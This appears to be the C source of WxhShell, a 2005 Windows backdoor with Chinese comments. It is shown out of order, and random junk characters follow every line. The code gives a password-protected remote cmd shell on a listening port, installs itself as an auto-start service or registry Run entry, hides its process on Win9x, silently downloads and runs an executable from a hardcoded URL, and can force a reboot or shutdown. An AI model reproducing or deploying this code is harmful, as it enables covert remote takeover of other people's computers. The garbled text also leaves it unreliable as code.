    closesocket(wsh); iI@(Bl]  
    ExitThread(0); TnLblkX  
    } 0E`6g6xMS  
    break; &Ui&2 EW  
    } e ls&_BPE  
  // 获取shell yHxi^D]  
  case 's': { @l?2",  
    CmdShell(wsh); 3&Fqd  
    closesocket(wsh); pJ_>^i=  
    ExitThread(0); ]Czq A c  
    break; vb2aj!8_?  
  } Y#fiJ  
  // 退出 wi S8S{K5  
  case 'x': { [KsVI.gn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J:2Su1"ODh  
    CloseIt(wsh); ]*\<k  
    break; hJGWa%`  
    } Iq(;?_  
  // 离开  o[>p  
  case 'q': { y5:al7*P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0@2pw2{Ru  
    closesocket(wsh); hJ0m;j&4y  
    WSACleanup(); fZt3cE\  
    exit(1); &:Sb$+z  
    break; K9Bi2/N  
        } ?`Som_vKO  
  } J.pe&1  
  } EhHW`  
} bEu+bZ  
  // 提示信息 kA(q-Re$B*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AK5$>Pkvk  
} m NApFwZ  
  } >Av%[G5=h#  
Tp%4{U/0`  
  return; .E0*lem'hE  
} c$]NXKcA  
Zbjj>*2%^  
// shell模块句柄 f n'N^  
int CmdShell(SOCKET sock) }{@RO./)[  
{ O:(%m  
STARTUPINFO si; ?mW;%d~]  
ZeroMemory(&si,sizeof(si)); -cnlj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *!x/ia9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +hd1|qa4  
PROCESS_INFORMATION ProcessInfo; 2`w\<h  
char cmdline[]="cmd"; aoS]Qp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); be5NasC  
  return 0; # fl%~Y  
} h}$]3/5H  
4!tHJCq"  
// 自身启动模式 /pDI \]  
int StartFromService(void) 1~Z Kpvu  
{ ^9I^A!w=  
typedef struct sTG e=}T8  
{ 5zsXqBG  
  DWORD ExitStatus; . G ~,h  
  DWORD PebBaseAddress; 9C)w'\u9+  
  DWORD AffinityMask; S~4HFNe^&  
  DWORD BasePriority; i*%2 e)  
  ULONG UniqueProcessId; <jRs/?1R  
  ULONG InheritedFromUniqueProcessId; Gq r(.  
}   PROCESS_BASIC_INFORMATION; {cBLm/C  
cP MUu9du  
PROCNTQSIP NtQueryInformationProcess; [/I1%6;  
?#X`Eu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `)R@\@jt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nW (wu!2  
JTg0T+  
  HANDLE             hProcess; 1eDc:!^SD  
  PROCESS_BASIC_INFORMATION pbi; rKys:is  
5CuK\<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uH-*`*  
  if(NULL == hInst ) return 0; T4{&@b 0*  
6">jf #pE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'zhw]L;'g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0yxMIX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); id.W"5+  
J8yi#A>+  
  if (!NtQueryInformationProcess) return 0; y3!=0uPf  
DqHVc)9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @Q atgYu  
  if(!hProcess) return 0; #/9(^6f:  
s(I7}oRWsL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l7r!fAV-f  
IK-E{,iKc  
  CloseHandle(hProcess); (N\Zz*PLz  
`'`T'+0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <~Tlx:  
if(hProcess==NULL) return 0; i>[1^~;  
$zBG19 [%  
HMODULE hMod; \HOOWaapN  
char procName[255]; E$[\Fk}S  
unsigned long cbNeeded; S:"t]gbF =  
%.R_[.W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UI:{*N**Z  
eMvb*X6  
  CloseHandle(hProcess); Z qg(\  
b\w88=|  
if(strstr(procName,"services")) return 1; // 以服务启动 :/IcFU~)M  
]4>[y?k34  
  return 0; // 注册表启动 7o+!Gts]  
} >9g`9hB  
pTK|u!fs  
// 主模块 TPds)osZT  
int StartWxhshell(LPSTR lpCmdLine) ,&HZvU&  
{ ^"%SHs  
  SOCKET wsl; t=]&q.  
BOOL val=TRUE; 2eu`X2IBcT  
  int port=0; K,}"v ;||  
  struct sockaddr_in door; p\8cl/~  
\6Ze H  
  if(wscfg.ws_autoins) Install(); O.E   
1h+!<c q  
port=atoi(lpCmdLine); GfU+'k;9  
G1~|$X@@  
if(port<=0) port=wscfg.ws_port; Sh]x`3 ).  
fwRlqfi  
  WSADATA data; L/GM~*Xp(O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; < P5;8  
q9oF8&O,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WL}6YSC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =D4EPfQn1  
  door.sin_family = AF_INET; LZG^\c$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H9w*U  
  door.sin_port = htons(port); g}3c r .  
*ma/_rjK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xIrpGLPSh  
closesocket(wsl); K. R2)o`  
return 1; }FMl4 _}u  
} IO xj$?%l  
-& kQlr  
  if(listen(wsl,2) == INVALID_SOCKET) { KF'H|)!K  
closesocket(wsl); fu=}E5ScK  
return 1; tT yu,%/m  
} #Y}Hh7.<  
  Wxhshell(wsl); :*&wnQMKR  
  WSACleanup(); 2>O2#53ls0  
J6 [x(T  
return 0; u?g!E."v  
H8K<.RY  
} P+3G*M=}  
".xai.trr  
// 以NT服务方式启动 :Rt5=0x   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ai->,<Ig]  
{ ;^DUtr ;  
DWORD   status = 0; W'XMC"  
  DWORD   specificError = 0xfffffff; ,mYoxEB kl  
45j+n.9=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (4 {49b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <\^X,,WtO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @?Y^=0  
  serviceStatus.dwWin32ExitCode     = 0; OV8b~k4=  
  serviceStatus.dwServiceSpecificExitCode = 0;  R/^JyL  
  serviceStatus.dwCheckPoint       = 0; cT0utR&  
  serviceStatus.dwWaitHint       = 0; X_'.@q<!CV  
Z{p6Q1u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Sc6wC H  
  if (hServiceStatusHandle==0) return; YF>t{|  
yekIw  
status = GetLastError(); I I>2\d|   
  if (status!=NO_ERROR) sjTsaM;<  
{ P>@`hZ9 o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D?\K~U* >  
    serviceStatus.dwCheckPoint       = 0; F41!Dj7  
    serviceStatus.dwWaitHint       = 0; P1) 80<t  
    serviceStatus.dwWin32ExitCode     = status; `FJnR~d  
    serviceStatus.dwServiceSpecificExitCode = specificError;  29sgi"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0!vC0T[  
    return; xk|$Oa  
  } ri JyH;)  
FOk @W&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NxXVW  
  serviceStatus.dwCheckPoint       = 0; LDBR4@V  
  serviceStatus.dwWaitHint       = 0; ){YPP!8cI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ix"c<1 I  
} cZ!s/^o?f  
Yn<0D|S;X  
// 处理NT服务事件,比如:启动、停止 uAjGR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <Z m ,q}  
{ gv[7h'}<  
switch(fdwControl) BXfaqYb;Q  
{ "j a0,%3  
case SERVICE_CONTROL_STOP: ZHC sv]l  
  serviceStatus.dwWin32ExitCode = 0; [QZ~~(R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2/7=@>|  
  serviceStatus.dwCheckPoint   = 0; %o"Rcw|  
  serviceStatus.dwWaitHint     = 0; 9uS7G*  
  {  +rT(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ox~'w0c,f  
  } Tc88U8Gc  
  return; _).'SU)>  
case SERVICE_CONTROL_PAUSE: W;N/Y3Lb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'hek CZZ_I  
  break; s3+O=5  
case SERVICE_CONTROL_CONTINUE: Eq8OAuN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D@^F6am%  
  break; bg HaheU  
case SERVICE_CONTROL_INTERROGATE: :T\WYKX3C  
  break; QhGg^h%6  
}; Rm*}<JN31  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kQ#eWk J,  
} 4C*3#/TR  
@l(Y6m|v\  
// 标准应用程序主函数 jYy0^)6X(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4iLU "~  
{ iO!lG  
,{Ab=xV  
// 获取操作系统版本 ]~qN<x  
OsIsNt=GetOsVer(); 6 gKOpa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z$Nk\9wm  
kH&ZPAI  
  // 从命令行安装 1!f'nS  
  if(strpbrk(lpCmdLine,"iI")) Install(); EORRSP,$2  
vfv5ex(  
  // 下载执行文件 @qC:% |>  
if(wscfg.ws_downexe) { c"YK+2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s{k\1 P(G}  
  WinExec(wscfg.ws_filenam,SW_HIDE); 20moX7L  
} xF/DYXC{8  
*SY4lqN  
if(!OsIsNt) { 'QS"4EvdD  
// 如果时win9x,隐藏进程并且设置为注册表启动 ltrSTH,kL  
HideProc(); x>J3tp$2  
StartWxhshell(lpCmdLine); W vJ?e  
} Pu^~]^W)  
else 5i^vN"J  
  if(StartFromService()) 7P`1)juA9  
  // 以服务方式启动 (Z$6J Nkz  
  StartServiceCtrlDispatcher(DispatchTable); >o} ati  
else 2:N_c\Vi  
  // 普通方式启动 q],R6GcVr  
  StartWxhshell(lpCmdLine); P\ s+2/  
jkP70Is  
return 0; KNg5Ptk  
} 5qr!OEF2  
1ZL_;k  
fv_wK_. %:  
GiZ'IDV  
=========================================== 84!4Vz^  
SNU bY6  
AY;+Ws  
v 2GhR*  
^ <VE5OM  
z`5I 1#PVA  
" Ozv.;}SE  
]-'9|N*}l  
#include <stdio.h> spx;QLo  
#include <string.h> 2SJh6U  
#include <windows.h> %^l&fM*  
#include <winsock2.h> u}1vn}F{  
#include <winsvc.h> =Yj[MVn  
#include <urlmon.h> Z]S0AB.Z@  
E`4=C@NN+,  
#pragma comment (lib, "Ws2_32.lib") u-9t s  
#pragma comment (lib, "urlmon.lib") _;q-+"6L;  
`fkri k  
#define MAX_USER   100 // 最大客户端连接数 %'T>kz*A  
#define BUF_SOCK   200 // sock buffer 2jZ}VCzRG  
#define KEY_BUFF   255 // 输入 buffer 48g^~{T4O  
w)eQ'6Vu  
#define REBOOT     0   // 重启 93Gur(j^  
#define SHUTDOWN   1   // 关机 3K!0 4\  
y+scJ+<  
#define DEF_PORT   5000 // 监听端口 E E|zY%  
%gMpV  
#define REG_LEN     16   // 注册表键长度 W-PZE|<  
#define SVC_LEN     80   // NT服务名长度 i 9tJHeSm  
wDhcHB  
// 从dll定义API 'h^DI`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $JB:rozE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g yQ9Z}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Kg`x9._2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7=.VqC^  
Z{ Zox[/  
// wxhshell配置信息 G^ZkY  
struct WSCFG { +@u C:3jM  
  int ws_port;         // 监听端口 ^Ai_/! "  
  char ws_passstr[REG_LEN]; // 口令 .r|vz6tU?  
  int ws_autoins;       // 安装标记, 1=yes 0=no (MoTG^MrBY  
  char ws_regname[REG_LEN]; // 注册表键名 Hs}"A,V  
  char ws_svcname[REG_LEN]; // 服务名 ]A]E)*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RpK,ixbtA+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7 3z Y^ x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9H}iX0O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~}0hN]*G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K^vp(2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z){UuiUM+=  
!-RpRRR[Co  
}; %H}Y]D~R  
SfobzX}~Jh  
// default Wxhshell configuration ^1,Eo2yN  
struct WSCFG wscfg={DEF_PORT, `/JR}g{O  
    "xuhuanlingzhe", wwcwYPeg  
    1, a^T4\  
    "Wxhshell", \Tf{ui  
    "Wxhshell", UeQ9G  
            "WxhShell Service", D'[P,v;Q  
    "Wrsky Windows CmdShell Service", _Q}RElA  
    "Please Input Your Password: ", 9;Pu9s[q2  
  1, inv{dg/2  
  "http://www.wrsky.com/wxhshell.exe", _d0-%B 9m  
  "Wxhshell.exe" dezL{:Ya  
    }; !bV(VRbu  
.-u k   
// 消息定义模块 cevV<Wy+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u4#~ i0@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yFU2'pB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NVA`t]gn  
char *msg_ws_ext="\n\rExit."; ):fu   
char *msg_ws_end="\n\rQuit."; {.D2ON  
char *msg_ws_boot="\n\rReboot..."; r{!"%03H_  
char *msg_ws_poff="\n\rShutdown..."; uU ?37V  
char *msg_ws_down="\n\rSave to "; 9poEUjBI  
wz0$g4  
char *msg_ws_err="\n\rErr!"; YV3TxvXMR  
char *msg_ws_ok="\n\rOK!"; h,'mN\6t  
Z:Y.":[ Qi  
char ExeFile[MAX_PATH]; h GA0F9.U  
int nUser = 0; LJNie*  
HANDLE handles[MAX_USER]; 9 /Ai(  
int OsIsNt; C|d!'"p  
(_&V9vat=  
SERVICE_STATUS       serviceStatus; K?Xo3W%K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1[/$ZYk:  
d[RWkk5  
// 函数声明 n|mJE,N  
int Install(void); :Y J7J4  
int Uninstall(void); [%iUg\'7d  
int DownloadFile(char *sURL, SOCKET wsh); ^Q)gsJY|I  
int Boot(int flag); t1:S!@  
void HideProc(void); H8<7#  
int GetOsVer(void); :&1=8^BY  
int Wxhshell(SOCKET wsl); nA_ zP4  
void TalkWithClient(void *cs); %hQMC'c  
int CmdShell(SOCKET sock); kk /+Vx~  
int StartFromService(void); %j[LRY/  
int StartWxhshell(LPSTR lpCmdLine); YK w!pu=  
AeY$.b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %is,t<G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =wlm  
o9T@uWh+  
// 数据结构和表定义 cdJ`Gk  
SERVICE_TABLE_ENTRY DispatchTable[] = (@WDvgi(  
{ cJHABdK-  
{wscfg.ws_svcname, NTServiceMain}, }*B qi7E>  
{NULL, NULL} KXx@ {cv  
}; PQ&Q71  
/_:T\`5uO  
// 自我安装 @O<@f8-  
int Install(void) #lyM+.T  
{ ^iV`g?z  
  char svExeFile[MAX_PATH]; A1|7(Sow  
  HKEY key; A^4kYOe  
  strcpy(svExeFile,ExeFile); EBIa%,  
vNK`Y|u@  
// 如果是win9x系统,修改注册表设为自启动 ezg^5o;  
if(!OsIsNt) { p'Y&Z?8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '?`@7Eol  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u1pc5 Y{  
  RegCloseKey(key); \=EY@ *=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [DotS\p!z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %TW% |"v  
  RegCloseKey(key); ~`~%(DA=  
  return 0; z)ft3(!  
    } ;* wT,2;  
  } <*A|pns  
} n?ZL"!$  
else { o%/-5-  
]{Mci]H6T  
// 如果是NT以上系统,安装为系统服务 <uBhi4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y0Hq+7x  
if (schSCManager!=0) C>Omng1>^  
{ 2xL!PR-  
  SC_HANDLE schService = CreateService [V> :`?  
  ( )p/=u@8_f  
  schSCManager, 3WO#^}t  
  wscfg.ws_svcname, t?]\M&i&  
  wscfg.ws_svcdisp, kW<Yda<a  
  SERVICE_ALL_ACCESS, pBg|n=^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b"R, p=M  
  SERVICE_AUTO_START, 5#TrCPi6A  
  SERVICE_ERROR_NORMAL, KdOh'OrT9.  
  svExeFile, D0Vyh"ua  
  NULL, z)58\rtz  
  NULL, H-/; l54E  
  NULL, 6m, KL5>W  
  NULL, Ism^hyL  
  NULL ]k ::J>84  
  ); ?AeHVQ :C  
  if (schService!=0) PwFQ#Z  
  { >%uAQiU  
  CloseServiceHandle(schService); :rz9M@7  
  CloseServiceHandle(schSCManager); 3~[`[4n^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p@?7^nIR*u  
  strcat(svExeFile,wscfg.ws_svcname); 3d,-3U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <&qpl0U)Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ] ?DDCew  
  RegCloseKey(key); Q(~3pt  
  return 0; @9}),hl`  
    } zdxT35h  
  } F\-B3i%0  
  CloseServiceHandle(schSCManager); 8iMF8\  
} bx hPjAL  
} B`?N,N"  
Af2=qe  
return 1; EX`"z(L  
} ]&Y#) ebs  
7=7!| UV  
// 自我卸载 Hv8SYQ|  
int Uninstall(void) ,s1&O`  
{ <^,o$b  
  HKEY key; M!eoe5  
`3 f_d}b  
if(!OsIsNt) { -Z:]<;qU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  /6+1{p  
  RegDeleteValue(key,wscfg.ws_regname); !cq=)xR  
  RegCloseKey(key); "C_T]%'Wm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !Gln Q`T  
  RegDeleteValue(key,wscfg.ws_regname); }1U#Ve,=_  
  RegCloseKey(key); t$U3|r  
  return 0; nc3sty1`  
  } E:uReT  
} L*zbike  
} (NGu9uJs  
else { e$CePLEj  
%v5)s(Yu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vVI6m{zYV  
if (schSCManager!=0) j2RRSz&9  
{ [leW/2i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Um]p&phVL  
  if (schService!=0) H7{Q@D8  
  { %xf)m[JU=  
  if(DeleteService(schService)!=0) { VK@$JwdL  
  CloseServiceHandle(schService); U8CWz!;Qz  
  CloseServiceHandle(schSCManager); 6BDt.bG  
  return 0; +68+PhHF  
  } 2{Wo-B,wt~  
  CloseServiceHandle(schService); UH5w7M  
  } EoKC8/  
  CloseServiceHandle(schSCManager); k/df(cs  
} :=rA Yc3]  
} FJO"|||Y'|  
r8IX/ ,  
return 1; oS~}TR:}  
} C@*%AY  
.qSBh hH\  
// 从指定url下载文件 7SBM^r}  
int DownloadFile(char *sURL, SOCKET wsh) /nc~T3j  
{ {*N^C@  
  HRESULT hr; .4wTjbO6  
char seps[]= "/"; fJX\'Rc\  
char *token; Ds {{J5Um%  
char *file; ddo ST``G  
char myURL[MAX_PATH]; 3rxo,pX94  
char myFILE[MAX_PATH]; JxjP@nr  
3@&bxYXm  
strcpy(myURL,sURL); o>2e !7  
  token=strtok(myURL,seps); U);OR  
  while(token!=NULL) 4py(R-8\  
  { 1 ojhh7<  
    file=token; 9u?(^(.  
  token=strtok(NULL,seps); L59bu/LfL  
  } ,!`SY)  
#e*X0;m  
GetCurrentDirectory(MAX_PATH,myFILE); Ejq=*UOP  
strcat(myFILE, "\\"); <D;MT96SG  
strcat(myFILE, file); "LOnDa7E^  
  send(wsh,myFILE,strlen(myFILE),0); [#0Yt/G  
send(wsh,"...",3,0); C*7!dW6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .AXdo'&2i  
  if(hr==S_OK) [(1O"  
return 0; UV4u.7y  
else kGm:VYf%  
return 1; R8tF/dx>7  
Xt ft*Z  
} 5^>n5u/  
^OF5F8Tf/  
// 系统电源模块 |=\91fP68`  
int Boot(int flag) Raefj(^V  
{ 1  o|T  
  HANDLE hToken; X:_<Y_JT  
  TOKEN_PRIVILEGES tkp; N<(HPE};  
/KAlK5<  
  if(OsIsNt) { ?yp0$r/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _ENuwBYW-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Yj3P 7k$c  
    tkp.PrivilegeCount = 1; sMH#BCC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; co/7lsW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =N_,l'U\^  
if(flag==REBOOT) { 9RxO7K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "IG+V:{ou  
  return 0; k^^:;OR  
} uArR\k(  
else { MHo1 lrZa+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [h4o7  
  return 0; =D].`  
} ~Eq\DK  
  } ]M3# 3Ha"  
  else { ]NtSu%u  
if(flag==REBOOT) { ]ZTcOf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ib1e#M3  
  return 0; O6iCZ  
} ~s#e,Kav"  
else { < A?<N?%o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) snYr9O[E6  
  return 0; 6 mO"  
} |) Pi6Y  
} t8& q9$  
Jf)3< ~G  
return 1; :tM?%=Q  
} t+Z`n(>  
?U_9{}r  
// win9x进程隐藏模块 ~GG?GB  
void HideProc(void) Gy!P,a)z  
{ bD<qNqX$  
}E;F)=E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S5_t1wqBJ  
  if ( hKernel != NULL ) wVqd$nsY"  
  { : ,p||_G&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F}U5d^!2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Fc8E Y*  
    FreeLibrary(hKernel); JDv-O&]  
  } ?+r!z  
$b>}C= gt  
return; HM&1y ubh#  
} qzK("d  
xQu eE{  
// 获取操作系统版本 /APcL5:=  
int GetOsVer(void) aI(>]sWJ  
{ ,+._;[k  
  OSVERSIONINFO winfo; 5j eO"jB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]` ]g@v  
  GetVersionEx(&winfo); 0@)%h&mD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) frN3S  
  return 1; Km3&N  
  else DA"}A`HfI  
  return 0; iePf ]O*  
} VXm[-  
PJgp+u<  
// 客户端句柄模块 )ofm_R'q*  
int Wxhshell(SOCKET wsl) #tjmWGo,  
{ t`G)b&3_O  
  SOCKET wsh; :eOR-}p'  
  struct sockaddr_in client; nrpI5t.b  
  DWORD myID; M3pjXc<O  
Yv )aAWEa  
  while(nUser<MAX_USER) *Msr15  
{ Dag`>|my  
  int nSize=sizeof(client); 6T+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GK{{7B  
  if(wsh==INVALID_SOCKET) return 1; RY=1H  
b2 kWjg.4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0oU=RbC  
if(handles[nUser]==0) Lw*]EG|?  
  closesocket(wsh); # |^^K!%  
else Cd]/  
  nUser++; h qmSE'8  
  } [s` G^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?4[H]BK  
:\yc*OtX  
  return 0; u3ZCT" !  
} iOqk*EL_r\  
7Kf}O6nE  
// 关闭 socket (~s|=Hxq|-  
void CloseIt(SOCKET wsh) f9TV%fG?  
{ & ,L9OU  
closesocket(wsh); xx8U$,Ng  
nUser--; :reTJQwr  
ExitThread(0); Zb''mf\  
} ]gEhE  
xh0xSqDM  
// 客户端请求句柄 T_#, A0G  
void TalkWithClient(void *cs) -<N&0F4|*  
{ K`k'}(vj  
nWWM2v  
  SOCKET wsh=(SOCKET)cs; 8`v$liH  
  char pwd[SVC_LEN]; H?yE3 w  
  char cmd[KEY_BUFF]; Q:MhjkOr}  
char chr[1]; kzO&24  
int i,j; 'Qn~H[$/p  
KhaYr)&~  
  while (nUser < MAX_USER) { o-eKAkh  
^_>!B)  
if(wscfg.ws_passstr) { orIQ~pF#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jo98 jA<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \u{8Bak0  
  //ZeroMemory(pwd,KEY_BUFF); qpqokK  
      i=0; w'ybbv{c  
  while(i<SVC_LEN) { =AOWeLk*G  
{G*QY%j^  
  // 设置超时 \ijMw  
  fd_set FdRead; GAEO$e:  
  struct timeval TimeOut; Qv#]81i(1  
  FD_ZERO(&FdRead); eN-au/kN  
  FD_SET(wsh,&FdRead); BC/_:n8O  
  TimeOut.tv_sec=8; 3Wx,oq;4-  
  TimeOut.tv_usec=0; WZFH@I28  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1BTIJ Gw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9dKul,c  
7#2j>G{?]v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >a>fb|r  
  pwd=chr[0]; {0yu   
  if(chr[0]==0xd || chr[0]==0xa) { Xm_$ dZ  
  pwd=0; smU4jh9S  
  break; G'#41>q+  
  } g9mG`f  
  i++; l]#!+@  
    } F^kwdS  
&%F@O<:  
  // 如果是非法用户,关闭 socket 30F!kP*E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y=B3q8l5  
} fA^Em)cs2  
8+'C_t/0i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \m/xV /  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4$"DbaC  
uV]ULm#,i  
while(1) { ", B'k  
[CN$ScK,  
  ZeroMemory(cmd,KEY_BUFF); $3P`DJo  
,Og4 ?fS  
      // 自动支持客户端 telnet标准   _ PWj(});  
  j=0; JMyTwj[7  
  while(j<KEY_BUFF) { RR|\- 8;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =@r--E  
  cmd[j]=chr[0]; qfL-r,XS`F  
  if(chr[0]==0xa || chr[0]==0xd) { d*]Ew=^L  
  cmd[j]=0; pyB~M9Bp/  
  break; SGcBmjP  
  } N{joXHCu  
  j++; f_6`tq m%  
    } Nhf~PO({&  
wNQqfq Z  
  // 下载文件 G=d(*+& B  
  if(strstr(cmd,"http://")) { hR)2xz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jBtj+ TL8  
  if(DownloadFile(cmd,wsh)) UpUp8%fCU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iI?{"}BZ  
  else e<=;i" |  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z=$  T1|  
  } )ly ^Ox  
  else { UQ8bN I7  
Omyt2`q  
    switch(cmd[0]) { 1;r69e  
  #MgvG,  
  // 帮助 kDsIp=  
  case '?': { Tj`5L6N;8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .YcN S%  
    break; vzR=>0#  
  } PEXq:TA  
